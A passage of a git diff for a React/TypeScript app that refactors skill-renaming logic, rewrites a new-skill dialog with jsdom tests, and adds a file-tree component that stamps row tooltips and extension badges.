+ <DialogFooter>
+ <Button
+ variant="outline"
+ className="font-mono uppercase"
+ onMouseDown={(e) => e.preventDefault()}
+ onClick={() => onOpenChange(false)}
+ disabled={busy}
+ >
+ <Trans>Cancel</Trans>
+ </Button>
+ <Button
+ data-testid={isUpload ? 'skill-upload-button' : 'skill-import-button'}
+ onClick={() => void runSubmit()}
+ disabled={!canSubmit}
+ >
+ {busy ? (
+ <>
+ <Loader2Icon className="size-4 animate-spin" />
+ {isUpload ? <Trans>Uploading</Trans> : <Trans>Importing</Trans>}
+ </>
+ ) : isUpload ? (
+ <Trans>Upload</Trans>
+ ) : (
+ <Trans>Import</Trans>
+ )}
+ </Button>
+ </DialogFooter>
+ </>
+ );
+}
diff --git a/packages/app/src/components/ManagedArtifactProperties.tsx b/packages/app/src/components/ManagedArtifactProperties.tsx
index 09e5af764..276d3fcef 100644
--- a/packages/app/src/components/ManagedArtifactProperties.tsx
+++ b/packages/app/src/components/ManagedArtifactProperties.tsx
@@ -1,21 +1,25 @@
import type { HocuspocusProvider } from '@hocuspocus/provider';
-import { parseManagedArtifactName, type SkillScope } from '@inkeep/open-knowledge-core';
+import {
+ isExternalSkillDocName,
+ parseManagedArtifactName,
+ type SkillScope,
+} from '@inkeep/open-knowledge-core';
import { useLingui } from '@lingui/react/macro';
import { useState } from 'react';
import { toast } from 'sonner';
+import { PropertyPanel } from '@/components/PropertyPanel';
import { SkillProperties } from '@/components/SkillProperties';
import { TemplateProperties } from '@/components/TemplateProperties';
import { useDocumentContext } from '@/editor/DocumentContext';
+import { docNameForTabId, isSkillDocName } from '@/editor/editor-tabs';
+import { hashFromDocName, replaceHashWithoutNavigation } from '@/lib/doc-hash';
import { moveTemplate } from '@/lib/folder-config-api';
import {
parseProjectSkillContentDocName,
- projectSkillContentDocName,
skillLiveDocName,
templateDocName,
} from '@/lib/managed-artifact-doc-name';
-import { openManagedArtifactTab } from '@/lib/open-managed-artifact-tab';
-import { useSkillScopeLabels } from '@/lib/skill-scope';
-import { moveSkill, moveSkillScope } from '@/lib/skills-api';
+import { moveSkill } from '@/lib/skills-api';
/**
* The identity/frontmatter panel for a managed-artifact tab (skill or template),
@@ -35,14 +39,14 @@ export function ManagedArtifactProperties({
}) {
const parsed = parseManagedArtifactName(docName);
if (parsed?.kind === 'skill') {
- return (
- <SkillPropertiesPanel
- provider={provider}
- docName={docName}
- scope={parsed.scope}
- name={parsed.name}
- />
- );
+ // Only the bare SKILL.md carries the skill's identity (name/scope = rename +
+ // scope-move). A bundle FILE (`rel` set, e.g. `references/patterns`) is its own
+ // content doc — show ITS frontmatter, not the parent skill's name, which read
+ // as if editing it renamed/moved this file rather than the whole skill.
+ if (parsed.rel !== null) {
+ return <PropertyPanel provider={provider} />;
+ }
+ return <SkillPropertiesPanel provider={provider} scope={parsed.scope} name={parsed.name} />;
}
if (parsed?.kind === 'template') {
return (
@@ -59,9 +63,17 @@ export function ManagedArtifactProperties({
// skills so the two scopes aren't a disconnected experience.
const projectSkillName = parseProjectSkillContentDocName(docName);
if (projectSkillName) {
- return (
- <ProjectSkillPropertiesPanel provider={provider} docName={docName} name={projectSkillName} />
- );
+ // A project skill opens as a content doc (`<dir>/SKILL`) rather than a
+ // managed-artifact doc, but its identity panel is the same one.
+ return <SkillPropertiesPanel provider={provider} scope="project" name={projectSkillName} />;
+ }
+ // An editable-unmanaged skill (`__extskill__/<name>`, edited in place) is routed
+ // here by `isManagedArtifactDocName`, but its frontmatter (name/description/
+ // argument-hint) is free-form YAML, not OK-managed identity — there's no scope
+ // move or `git mv` rename to mediate. So it gets the normal frontmatter table,
+ // editable in place and binding to the same provider as the body.
+ if (isExternalSkillDocName(docName)) {
+ return <PropertyPanel provider={provider} />;
}
return null;
}
@@ -71,147 +83,108 @@ export function ManagedArtifactProperties({
* rename / scope move. Opens the relocated doc (which becomes active) before
* closing the old tab, so there's no flash of empty editor in between.
*/
-function useManagedArtifactRetarget(): (fromDocName: string, toDocName: string) => void {
- const { closeDocument } = useDocumentContext();
+export function useManagedArtifactRetarget(): (fromDocName: string, toDocName: string) => void {
+ const { openTarget, closeDocument, setSkillsSidebar, activeDocName, openTabs } =
+ useDocumentContext();
return (fromDocName, toDocName) => {
if (fromDocName === toDocName) return;
- // Navigate to the relocated doc via the hash (activates it + keeps the hash
- // consistent), then drop the now-stale old tab.
- openManagedArtifactTab(toDocName);
- closeDocument(fromDocName);
+ // Pin the sidebar to Skills first: opening the new doc activates it async-ish
+ // while a close synchronously nulls the active target, so for a frame
+ // `skillFocused` would drop to Files. The pin bridges that frame and
+ // auto-releases on the next navigation. Gated on `isSkillDocName` so a template
+ // retarget (also uses this helper) is untouched.
+ if (isSkillDocName(toDocName)) setSkillsSidebar(true);
+ // Open the destination DIRECTLY, not via the hash → resolveNavigationTarget
+ // path: a project skill content doc (`.ok/skills/<name>/SKILL`) resolves through
+ // the page index, which lags a rename/scope-move by the async `files` refetch, so
+ // the hash path would resolve the just-created doc to a read-only asset viewer.
+ const dest = { kind: 'doc', target: toDocName, docName: toDocName } as const;
+ if (activeDocName === fromDocName) {
+ // The source is the ACTIVE tab (renaming/moving what you're viewing): morph it
+ // in place. `replace-active` marks the old tab closed-during-restore so the
+ // source doc's STILL-CONNECTED live provider can't RESURRECT it — a plain open +
+ // `closeDocument` leaves that door open, so the renamed-away tab reappears and
+ // strands the editor on the now-deleted doc (the three-dot / name-field rename bug).
+ openTarget(dest, { tabBehavior: 'replace-active' });
+ replaceHashWithoutNavigation(hashFromDocName(toDocName));
+ } else if (openTabs.some((id) => docNameForTabId(id) === fromDocName)) {
+ // The source is open but backgrounded: open the destination and drop the stale
+ // source tab explicitly (it isn't the active tab, so replace-active can't target it).
+ openTarget(dest);
+ closeDocument(fromDocName);
+ }
+ // else: the source isn't open — nothing to retarget (the rename still happened).
};
}
-function SkillPropertiesPanel({
- provider,
- docName,
- scope,
- name,
-}: {
- provider: HocuspocusProvider;
- docName: string;
- scope: SkillScope;
- name: string;
-}) {
+/**
+ * The single rename-a-skill flow, shared by every surface that renames a skill —
+ * both Properties name-field panels AND the three-dot menu's `SkillRenameDialog`.
+ * One owner of: POST the move, toast the outcome, and retarget the open tab to the
+ * renamed doc so the editor follows the rename instead of stranding on the (now
+ * deleted) source doc. Returns the `WriteResult` so a caller can surface an inline
+ * field error. Keeping this in one place is why the three surfaces can't drift
+ * (the three-dot path silently skipped the retarget before this existed).
+ */
+export function useRenameSkill(): (
+ skill: { scope: SkillScope; name: string },
+ next: string,
+) => Promise<Awaited<ReturnType<typeof moveSkill>>> {
const { t } = useLingui();
- const scopeLabels = useSkillScopeLabels();
const retarget = useManagedArtifactRetarget();
- const [renameError, setRenameError] = useState<string | null>(null);
- const [movingScope, setMovingScope] = useState(false);
-
- async function handleRename(next: string) {
- setRenameError(null);
- const result = await moveSkill({ scope, fromName: name, toName: next });
+ return async (skill, next) => {
+ const result = await moveSkill({ scope: skill.scope, fromName: skill.name, toName: next });
if (!result.ok) {
- setRenameError(result.error);
- toast.error(t`Couldn't rename skill: ${result.error}`);
- return;
+ toast.error(t`Couldn't rename "${skill.name}": ${result.error}`);
+ return result;
}
- toast.success(t`Skill renamed`);
- // Route to the renamed skill's LIVE doc — a project skill is a content doc
- // (`.ok/skills/<name>/SKILL`), not `__skill__/project/<name>`. `skillLiveDocName`
- // maps each scope to its real doc; a bare synthetic builder would open a
- // phantom empty tab for a project skill (the round-trip data-loss class).
- retarget(docName, skillLiveDocName(scope, next));
- }
-
- async function handleScopeChange(next: SkillScope) {
- if (next === scope || movingScope) return;
- setMovingScope(true);
- const result = await moveSkillScope({ name, fromScope: scope, toScope: next });
- setMovingScope(false);
- if (!result.ok) {
- toast.error(t`Couldn't move skill: ${result.error}`);
- return;
- }
- const skipped = result.skippedBinaryFiles?.length ?? 0;
- if (skipped > 0) {
- toast.warning(
- t`Moved "${name}" to ${scopeLabels[next]} (${skipped} binary file(s) not copied)`,
- );
- } else {
- toast.success(t`Moved "${name}" to ${scopeLabels[next]}`);
- }
- // Route to the destination scope's LIVE doc — a project skill is a content
- // doc, not `__skill__/project/<name>`. Bare `skillDocName` here opened a
- // phantom empty tab and was half of the round-trip data-loss bug.
- retarget(docName, skillLiveDocName(next, name));
- }
-
- return (
- <SkillProperties
- provider={provider}
- name={name}
- onRename={handleRename}
- nameError={renameError}
- nameEditable={!movingScope}
- scopeControl={{ scope, onScopeChange: handleScopeChange }}
- />
- );
+ toast.success(t`Renamed to "${next}"`);
+ // Retarget by REAL doc names: the rename response's `to` is the renamed
+ // bundle's actual dir (in-place skills keep their root; only the leaf
+ // changes), so a project rename follows the real doc instead of minting a
+ // phantom store-shaped `.ok/skills` tab. Global docs stay on the managed
+ // `__skill__/global/` scheme.
+ const toDoc =
+ skill.scope === 'project' && result.to !== undefined
+ ? `${result.to.replace(/\/+$/, '')}/SKILL`
+ : skillLiveDocName(skill.scope, next);
+ const fromDoc =
+ skill.scope === 'project' && result.to !== undefined
+ ? `${result.to.split('/').slice(0, -1).join('/')}/${skill.name}/SKILL`
+ : skillLiveDocName(skill.scope, skill.name);
+ retarget(fromDoc, toDoc);
+ return result;
+ };
}
-/**
- * Identity panel for a PROJECT skill — same `SkillProperties` UI as global
- * skills, but the doc is a content doc (`.ok/skills/<name>/SKILL`), so a rename
- * retargets to the renamed content doc and a scope move to global retargets to
- * the managed-artifact tab.
- */
-function ProjectSkillPropertiesPanel({
+function SkillPropertiesPanel({
provider,
- docName,
+ scope,
name,
}: {
provider: HocuspocusProvider;
- docName: string;
+ scope: SkillScope;
name: string;
}) {
- const { t } = useLingui();
- const scopeLabels = useSkillScopeLabels();
- const retarget = useManagedArtifactRetarget();
+ const renameSkill = useRenameSkill();
const [renameError, setRenameError] = useState<string | null>(null);
- const [movingScope, setMovingScope] = useState(false);
async function handleRename(next: string) {
setRenameError(null);
- const result = await moveSkill({ scope: 'project', fromName: name, toName: next });
- if (!result.ok) {
- setRenameError(result.error);
- toast.error(t`Couldn't rename skill: ${result.error}`);
- return;
- }
- toast.success(t`Skill renamed`);
- retarget(docName, projectSkillContentDocName(next));
- }
-
- async function handleScopeChange(next: SkillScope) {
- if (next === 'project' || movingScope) return;
- setMovingScope(true);
- const result = await moveSkillScope({ name, fromScope: 'project', toScope: next });
- setMovingScope(false);
- if (!result.ok) {
- toast.error(t`Couldn't move skill: ${result.error}`);
- return;
- }
- const skipped = result.skippedBinaryFiles?.length ?? 0;
- if (skipped > 0) {
- toast.warning(
- t`Moved "${name}" to ${scopeLabels[next]} (${skipped} binary file(s) not copied)`,
- );
- } else {
- toast.success(t`Moved "${name}" to ${scopeLabels[next]}`);
- }
- // Route to the destination scope's LIVE doc (global → managed-artifact).
- retarget(docName, skillLiveDocName(next, name));
+ const result = await renameSkill({ scope, name }, next);
+ if (!result.ok) setRenameError(result.error);
}
+ // A skill's level (scope) is edited from the editor toolbar's `SkillLevelSelect`
+ // (next to the install state), not this panel — moving a skill relocates its
+ // files on disk, so that control lives with the other install affordances.
return (
<SkillProperties
provider={provider}
+ scope={scope}
name={name}
onRename={handleRename}
nameError={renameError}
- nameEditable={!movingScope}
- scopeControl={{ scope: 'project', onScopeChange: handleScopeChange }}
/>
);
}
diff --git a/packages/app/src/components/NewSkillDialog.dom.test.tsx b/packages/app/src/components/NewSkillDialog.dom.test.tsx
new file mode 100644
index 000000000..a6b064f2e
--- /dev/null
+++ b/packages/app/src/components/NewSkillDialog.dom.test.tsx
@@ -0,0 +1,104 @@
+/**
+ * DOM tests for NewSkillDialog. Runs under jsdom via `test:dom`.
+ *
+ * The dialog is the "name before create" prompt: both fields pre-fill (first-free
+ * `new-skill[-N]` + a placeholder description) so one click still creates a valid,
+ * immediately-installable skill, while a typed name/description flows through.
+ */
+import { cleanup, render, screen } from '@testing-library/react';
+import userEvent from '@testing-library/user-event';
+import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';
+import { DEFAULT_NEW_SKILL_DESCRIPTION } from '@/hooks/use-create-blank-skill';
+import { NewSkillDialog } from './NewSkillDialog';
+
+// Radix Dialog (focus-trap) reaches for DOM globals the shared jsdom preload
+// doesn't expose — same local shims as NewTemplateDialog.dom.test.tsx.
+type WindowGlobals = { NodeFilter?: typeof NodeFilter };
+type GlobalWithDomShims = typeof globalThis &
+ WindowGlobals & { window?: WindowGlobals; ResizeObserver?: unknown };
+const globalWithDomShims = globalThis as GlobalWithDomShims;
+if (
+ globalWithDomShims.NodeFilter === undefined &&
+ globalWithDomShims.window?.NodeFilter !== undefined
+) {
+ globalWithDomShims.NodeFilter = globalWithDomShims.window.NodeFilter;
+}
+if (globalWithDomShims.ResizeObserver === undefined) {
+ class NoopResizeObserver {
+ observe() {}
+ unobserve() {}
+ disconnect() {}
+ }
+ globalWithDomShims.ResizeObserver = NoopResizeObserver;
+}
+
+function renderDialog(existingNames: Set<string> = new Set()) {
+ const onCreate = vi.fn();
+ render(
+ <NewSkillDialog
+ open
+ scope="project"
+ existingNames={existingNames}
+ busy={false}
+ onOpenChange={() => {}}
+ onCreate={onCreate}
+ />,
+ );
+ return { onCreate };
+}
+
+describe('NewSkillDialog (PRD-7602)', () => {
+ beforeEach(() => cleanup());
+ afterEach(() => cleanup());
+
+ test('pre-fills first-free name + default description; one click creates a valid skill', async () => {
+ const user = userEvent.setup();
+ const { onCreate } = renderDialog(new Set(['new-skill']));
+
+ // `new-skill` taken → suggests `new-skill-2`; description defaults so the
+ // result installs without erroring.
+ expect((screen.getByLabelText('Name') as HTMLInputElement).value).toBe('new-skill-2');
+ expect((screen.getByLabelText('Description') as HTMLTextAreaElement).value).toBe(
+ DEFAULT_NEW_SKILL_DESCRIPTION,
+ );
+
+ await user.click(screen.getByRole('button', { name: 'Create' }));
+ expect(onCreate).toHaveBeenCalledWith({
+ name: 'new-skill-2',
+ description: DEFAULT_NEW_SKILL_DESCRIPTION,
+ });
+ });
+
+ test('a typed name and description flow through', async () => {
+ const user = userEvent.setup();
+ const { onCreate } = renderDialog();
+
+ const name = screen.getByLabelText('Name');
+ await user.clear(name);
+ await user.type(name, 'my-skill');
+ const desc = screen.getByLabelText('Description');
+ await user.clear(desc);
+ await user.type(desc, 'Does a thing.');
+
+ await user.click(screen.getByRole('button', { name: 'Create' }));
+ expect(onCreate).toHaveBeenCalledWith({ name: 'my-skill', description: 'Does a thing.' });
+ });
+
+ test('rejects an invalid name and a duplicate, without calling onCreate', async () => {
+ const user = userEvent.setup();
+ const { onCreate } = renderDialog(new Set(['taken']));
+
+ const name = screen.getByLabelText('Name');
+ await user.clear(name);
+ await user.type(name, 'Bad Name');
+ await user.click(screen.getByRole('button', { name: 'Create' }));
+ expect(onCreate).not.toHaveBeenCalled();
+ expect(screen.getByRole('alert').textContent).toMatch(/lowercase/i);
+
+ await user.clear(name);
+ await user.type(name, 'taken');
+ await user.click(screen.getByRole('button', { name: 'Create' }));
+ expect(onCreate).not.toHaveBeenCalled();
+ expect(screen.getByRole('alert').textContent).toMatch(/already exists/i);
+ });
+});
diff --git a/packages/app/src/components/NewSkillDialog.tsx b/packages/app/src/components/NewSkillDialog.tsx
index 370ce817e..5d13cf890 100644
--- a/packages/app/src/components/NewSkillDialog.tsx
+++ b/packages/app/src/components/NewSkillDialog.tsx
@@ -1,7 +1,6 @@
import { SKILL_NAME_REGEX, type SkillScope } from '@inkeep/open-knowledge-core';
import { Trans, useLingui } from '@lingui/react/macro';
-import { useId, useState } from 'react';
-import { toast } from 'sonner';
+import { useEffect, useId, useRef, useState } from 'react';
import { Button } from '@/components/ui/button';
import {
Dialog,
@@ -13,206 +12,148 @@ import {
DialogTitle,
} from '@/components/ui/dialog';
import { Input } from '@/components/ui/input';
-import { Label } from '@/components/ui/label';
-import {
- Select,
- SelectContent,
- SelectItem,
- SelectTrigger,
- SelectValue,
-} from '@/components/ui/select';
import { Textarea } from '@/components/ui/textarea';
-import { useSkills } from '@/hooks/use-skills';
-import { SKILL_SCOPE_ORDER, skillNameSetsByScope, useSkillScopeLabels } from '@/lib/skill-scope';
-import { saveSkill } from '@/lib/skills-api';
-
-interface Props {
- defaultScope: SkillScope;
- open: boolean;
- onOpenChange: (open: boolean) => void;
- /** Called after a successful create with the new skill's scope + name. */
- onCreated: (created: { scope: SkillScope; name: string }) => void;
-}
+import { DEFAULT_NEW_SKILL_DESCRIPTION } from '@/hooks/use-create-blank-skill';
/**
- * Create a new skill: pick a scope (Project vs Global), name it, describe it.
- * On create the `SKILL.md` is written and the caller opens it as an editor tab —
- * the live CRDT editor takes over from there (body + description edits are CRDT
- * mutations). Nothing is written until Create, so there are no orphaned drafts.
+ * Name + description prompt for creating a skill. Before this, "New
+ * skill" immediately created `new-skill` with an empty description — no chance
+ * to name it, and the empty description then blocked Install. Both fields are
+ * PRE-FILLED (first-free `new-skill[-N]` + a placeholder description) so the
+ * fast path is still one click (open → Create), while anyone who wants to name
+ * it up front can. The name grammar mirrors the skill slug (`[a-z0-9-]+`).
*/
-export function NewSkillDialog({ defaultScope, open, onOpenChange, onCreated }: Props) {
- return (
- <Dialog open={open} onOpenChange={onOpenChange}>
- <DialogContent className="sm:max-w-2xl">
- {open ? (
- <Body defaultScope={defaultScope} onOpenChange={onOpenChange} onCreated={onCreated} />
- ) : null}
- </DialogContent>
- </Dialog>
- );
-}
-
-function Body({
- defaultScope,
+export function NewSkillDialog({
+ open,
onOpenChange,
- onCreated,
+ scope,
+ existingNames,
+ busy,
+ onCreate,
}: {
- defaultScope: SkillScope;
+ open: boolean;
onOpenChange: (open: boolean) => void;
- onCreated: (created: { scope: SkillScope; name: string }) => void;
+ scope: SkillScope;
+ /** Names already taken in this scope, for the duplicate check + default suffix. */
+ existingNames: ReadonlySet<string>;
+ busy: boolean;
+ onCreate: (input: { name: string; description: string }) => void;
}) {
const { t } = useLingui();
- const nameId = useId();
- const descriptionId = useId();
- const scopeId = useId();
- const scopeLabels = useSkillScopeLabels();
- const skillsState = useSkills();
- const nameSets = skillNameSetsByScope(skillsState.status === 'ready' ? skillsState.data : []);
-
- const [scope, setScope] = useState<SkillScope>(defaultScope);
const [name, setName] = useState('');
const [description, setDescription] = useState('');
- const [touched, setTouched] = useState(false);
- const [creating, setCreating] = useState(false);
+ const [error, setError] = useState<string | null>(null);
+ const nameId = useId();
+ const descriptionId = useId();
+ const errorId = useId();
+ const nameRef = useRef<HTMLInputElement>(null);
- const trimmedName = name.trim();
- const nameInvalid = trimmedName === '' || !SKILL_NAME_REGEX.test(trimmedName);
- const nameCollides = !nameInvalid && nameSets[scope].has(trimmedName);
- const canCreate = !creating && !nameInvalid && !nameCollides;
+ useEffect(() => {
+ if (!open) return;
+ let next = 'new-skill';
+ for (let i = 2; existingNames.has(next); i++) next = `new-skill-${i}`;
+ setName(next);
+ setDescription(DEFAULT_NEW_SKILL_DESCRIPTION);
+ setError(null);
+ }, [open, existingNames]);
- // Lenient sanitize while TYPING: lowercase, illegal-char runs → a single
- // hyphen, collapse hyphen runs, trim only LEADING hyphens. Trailing hyphens
- // are kept so a hyphenated name (`image-location`) can be typed at all — the
- // `-` is momentarily trailing as you type it, and trimming it on every
- // keystroke (the old behavior) made hyphens impossible to enter. A trailing
- // hyphen is trimmed on blur.
- function sanitizeNameInput(text: string): string {
- return text
- .toLowerCase()
- .replace(/[^a-z0-9-]+/g, '-')
- .replace(/-{2,}/g, '-')
- .replace(/^-+/, '');
+ function validationError(candidate: string): string | null {
+ const trimmed = candidate.trim();
+ if (!trimmed) return t`Name cannot be empty`;
+ if (!SKILL_NAME_REGEX.test(trimmed)) return t`Use lowercase letters, numbers, and hyphens only`;
+ if (existingNames.has(trimmed)) return t`A skill named "${trimmed}" already exists here`;
+ return null;
}
- async function create() {
- if (!canCreate) {
- setTouched(true);
- return;
- }
- setCreating(true);
- const result = await saveSkill({
- scope,
- name: trimmedName,
- frontmatter: { name: trimmedName, description: description.trim() },
- body: '',
- });
- setCreating(false);
- if (!result.ok) {
- toast.error(t`Couldn't create skill: ${result.error}`);
+ function submit() {
+ const trimmed = name.trim();
+ const err = validationError(trimmed);
+ if (err) {
+ setError(err);
+ nameRef.current?.focus();
return;
}
- toast.success(t`Skill "${trimmedName}" created`);
- onCreated({ scope, name: trimmedName });
- onOpenChange(false);
+ // Empty description falls back to the placeholder so the skill stays
+ // installable — the same default the fast paths use.
+ onCreate({ name: trimmed, description: description.trim() || DEFAULT_NEW_SKILL_DESCRIPTION });
}
- const showNameError = touched && (nameInvalid || nameCollides);
-
return (
- <>
- <DialogHeader>
- <DialogTitle>
- <Trans>New skill</Trans>
- </DialogTitle>
- <DialogDescription>
- <Trans>Teach agents a repeatable task. You can edit the body after creating.</Trans>
- </DialogDescription>
- </DialogHeader>
- <DialogBody className="flex flex-col gap-4">
- <div className="flex flex-col gap-1.5">
- <Label htmlFor={scopeId}>
- <Trans>Scope</Trans>
- </Label>
- <Select value={scope} onValueChange={(v) => setScope(v as SkillScope)}>
- <SelectTrigger id={scopeId} size="sm" className="w-48">
- <SelectValue />
- </SelectTrigger>
- <SelectContent>
- {SKILL_SCOPE_ORDER.map((s) => (
- <SelectItem key={s} value={s}>
- {scopeLabels[s]}
- </SelectItem>
- ))}
- </SelectContent>
- </Select>
- </div>
- <div className="flex flex-col gap-1.5">
- <Label htmlFor={nameId}>
- <Trans>Name</Trans>
- </Label>
- <Input
- id={nameId}
- data-testid="skill-name-input"
- value={name}
- onChange={(e) => setName(sanitizeNameInput(e.target.value))}
- onBlur={() => {
- setTouched(true);
- setName((n) => n.replace(/-+$/, ''));
- }}
- onKeyDown={(e) => {
- if (e.key === 'Enter') void create();
- }}
- aria-invalid={showNameError}
- className="font-mono"
- />
- {showNameError ? (
- <p className="text-[11px] text-destructive">
- {nameCollides ? (
- <Trans>A skill with this name already exists.</Trans>
- ) : (
- <Trans>Use lowercase letters, digits, and hyphens only.</Trans>
- )}
- </p>
- ) : (
- <p className="text-[11px] text-muted-foreground">
- <Trans>The folder on disk and the id agents use to invoke this skill.</Trans>
+ <Dialog open={open} onOpenChange={onOpenChange}>
+ <DialogContent className="sm:max-w-md">
+ <DialogHeader>
+ <DialogTitle>
+ <Trans>New skill</Trans>
+ </DialogTitle>
+ <DialogDescription>
+ {scope === 'global' ? (
+ <Trans>Create a personal skill, available across every project.</Trans>
+ ) : (
+ <Trans>Create a skill for this project.</Trans>
+ )}
+ </DialogDescription>
+ </DialogHeader>
+ <DialogBody className="space-y-4">
+ <div className="flex flex-col gap-2">
+ <label className="text-sm font-medium" htmlFor={nameId}>
+ <Trans>Name</Trans>
+ </label>
+ <Input
+ ref={nameRef}
+ id={nameId}
+ value={name}
+ onChange={(e) => {
+ setName(e.target.value);
+ setError(null);
+ }}
+ placeholder="my-skill"
+ autoFocus
+ onFocus={(e) => e.currentTarget.select()}
+ aria-invalid={error ? true : undefined}
+ aria-describedby={error ? errorId : undefined}
+ onKeyDown={(e) => {
+ if (e.key === 'Enter' && !busy) {
+ e.preventDefault();
+ submit();
+ }
+ }}
+ />
+ {error ? (
+ <p id={errorId} role="alert" className="text-1sm text-destructive">
+ {error}
+ </p>
+ ) : null}
+ </div>
+ <div className="flex flex-col gap-2">
+ <label className="text-sm font-medium" htmlFor={descriptionId}>
+ <Trans>Description</Trans>
+ </label>
+ <Textarea
+ id={descriptionId}
+ value={description}
+ onChange={(e) => setDescription(e.target.value)}
+ rows={2}
+ placeholder={DEFAULT_NEW_SKILL_DESCRIPTION}
+ />
+ <p className="text-2xs text-muted-foreground">
+ <Trans>Tells agents when to reach for this skill. You can edit it later.</Trans>
</p>
- )}
- </div>
- <div className="flex flex-col gap-1.5">
- <Label htmlFor={descriptionId}>
- <Trans>Description</Trans>
- </Label>
- <Textarea
- id={descriptionId}
- data-testid="skill-description-input"
- value={description}
- onChange={(e) => setDescription(e.target.value)}
- className="min-h-16 resize-none"
- />
- <p className="text-[11px] text-muted-foreground">
- <Trans>What agents match on to decide when to use the skill.</Trans>
- </p>
- </div>
- </DialogBody>
- <DialogFooter>
- <Button
- variant="outline"
- className="font-mono uppercase"
- onMouseDown={(e) => e.preventDefault()}
- onClick={() => onOpenChange(false)}
- disabled={creating}
- >
- <Trans>Cancel</Trans>
- </Button>
- <Button
- data-testid="skill-create-button"
- onClick={() => void create()}
- disabled={!canCreate}
- >
- {creating ? <Trans>Creating</Trans> : <Trans>Create skill</Trans>}
- </Button>
- </DialogFooter>
- </>
+ </div>
+ </DialogBody>
+ <DialogFooter>
+ <Button
+ variant="outline"
+ className="font-mono uppercase"
+ onClick={() => onOpenChange(false)}
+ disabled={busy}
+ >
+ <Trans>Cancel</Trans>
+ </Button>
+ <Button onClick={submit} disabled={busy || !name.trim()}>
+ {busy ? <Trans>Creating</Trans> : <Trans>Create</Trans>}
+ </Button>
+ </DialogFooter>
+ </DialogContent>
+ </Dialog>
);
}
diff --git a/packages/app/src/components/OkFileTree.tsx b/packages/app/src/components/OkFileTree.tsx
new file mode 100644
index 000000000..99f95c3e8
--- /dev/null
+++ b/packages/app/src/components/OkFileTree.tsx
@@ -0,0 +1,210 @@
+/**
+ * The Pierre (`@pierre/trees`) tree mount used by the skills bundle-file tree
+ * (`SkillsSidebarSection.tsx`): it centralizes the colored icon set + extension
+ * badges + title stamping so a tree gets them without bespoke wiring. (The main
+ * Files tree `FileTree.tsx` still mounts Pierre directly with its own copy of
+ * these observers — migrating it onto this component is a pending follow-up.)
+ *
+ * Owns the two GENERIC shadow-root decoration observers (full-path title
+ * stamping + the uppercase extension badge) and the content-height reporter.
+ * Does NOT own workspace-specific behavior: the caller creates the `model`
+ * (via `useFileTree({ ...buildOkFileTreeOptions(...), dragAndDrop, renaming })`)
+ * and passes decorations / context menu / drag handlers through the option
+ * builder.
+ */
+
+import { FILE_TREE_TAG_NAME, type FileTree as PierreFileTreeModel } from '@pierre/trees';
+import { type FileTreeProps, FileTree as PierreFileTree } from '@pierre/trees/react';
+import {
+ type CSSProperties,
+ type MouseEventHandler,
+ type ReactNode,
+ type RefObject,
+ useEffect,
+ useRef,
+} from 'react';
+import { applyExtensionBadges } from '@/components/file-tree-extension-badge';
+
+export interface OkFileTreeProps {
+ readonly model: PierreFileTreeModel;
+ /**
+ * Shared host ref. This component attaches it to its wrapper `<div>`; the
+ * caller may hold the same ref to run additional observers off the shadow root
+ * (the main tree's rename-affordance observer does this).
+ */
+ readonly hostRef: RefObject<HTMLDivElement | null>;
+ /** Gate for the generic shadow observers — true once rows are painting. */
+ readonly ready: boolean;
+ readonly style: CSSProperties;
+ readonly header?: ReactNode;
+ /** Sizing: `flex min-h-0 flex-1 flex-col` (fill) vs `min-h-0` (+ sizeToContent). */
+ readonly className?: string;
+ /** Attributes forwarded onto the `<file-tree-container>` host (e.g. creation-cleared). */
+ readonly hostAttrs?: Record<string, string | undefined>;
+ readonly renderContextMenu?: FileTreeProps['renderContextMenu'];
+ readonly onClickCapture?: MouseEventHandler;
+ readonly onMouseMove?: MouseEventHandler;
+ readonly onMouseLeave?: MouseEventHandler;
+ readonly onContentHeightChange?: (px: number) => void;
+ /** Grow the host to the tree's content height (no inner scrollbar). */
+ readonly sizeToContent?: boolean;
+ /**
+ * Override the row hover-`title` (the full-path tooltip). Given a row's tree
+ * path, return the string to stamp, or `null` to keep the default (the tree
+ * path itself). The skills tree uses this to disclose a row's real on-disk
+ * location (`~/.ok/skills/…`) instead of the "Global/name" tree path (§4).
+ */
+ readonly titleForPath?: (treePath: string) => string | null;
+}
+
+export function OkFileTree({
+ model,
+ hostRef,
+ ready,
+ style,
+ header,
+ className,
+ hostAttrs,
+ renderContextMenu,
+ onClickCapture,
+ onMouseMove,
+ onMouseLeave,
+ onContentHeightChange,
+ sizeToContent,
+ titleForPath,
+}: OkFileTreeProps) {
+ // The title stamper below runs inside a shadow-root observer set up once; read
+ // the (possibly changing) override through a ref so it always sees the latest.
+ const titleForPathRef = useRef(titleForPath);
+ useEffect(() => {
+ titleForPathRef.current = titleForPath;
+ });
+ // `@pierre/trees` renders rows inside an open shadow root and exposes no
+ // per-row attribute hook, so the full-path `title` is stamped imperatively
+ // here. It must also be stamped on the floating `[data-type=context-menu-anchor]`
+ // overlay: @pierre/trees positions that `···` ("Options") trigger over the
+ // hovered row's right edge as a *sibling* of the row, not a descendant — so
+ // the row's own `title` doesn't resolve when the cursor rests there.
+ useEffect(() => {
+ if (!ready) return;
+ const shadow = hostRef.current?.querySelector(FILE_TREE_TAG_NAME)?.shadowRoot;
+ if (!shadow) return;
+ const toTitle = (treePath: string) => {
+ const override = titleForPathRef.current?.(treePath);
+ if (override != null) return override;
+ return treePath.endsWith('/') ? treePath.slice(0, -1) : treePath;
+ };
+ const stampTitles = () => {
+ for (const row of shadow.querySelectorAll<HTMLElement>('[data-item-path]')) {
+ const treePath = row.dataset.itemPath;
+ if (!treePath) continue;
+ const title = toTitle(treePath);
+ if (row.title !== title) row.title = title;
+ }
+ const anchor = shadow.querySelector<HTMLElement>('[data-type="context-menu-anchor"]');
+ if (anchor) {
+ const hoveredPath = shadow.querySelector<HTMLElement>(
+ '[data-item-context-hover="true"][data-item-path]',
+ )?.dataset.itemPath;
+ const title = hoveredPath ? toTitle(hoveredPath) : '';
+ if (anchor.title !== title) anchor.title = title;
+ }
+ };
+ stampTitles();
+ const observer = new MutationObserver(stampTitles);
+ observer.observe(shadow, {
+ subtree: true,
+ childList: true,
+ attributes: true,
+ attributeFilter: ['data-item-path', 'data-item-context-hover'],
+ });
+ return () => observer.disconnect();
+ }, [ready, hostRef]);
+
+ // Replace Pierre's trailing-dot artifact with an always-visible uppercase
+ // extension badge (delegates to the shared DOM processor).
+ useEffect(() => {
+ if (!ready) return;
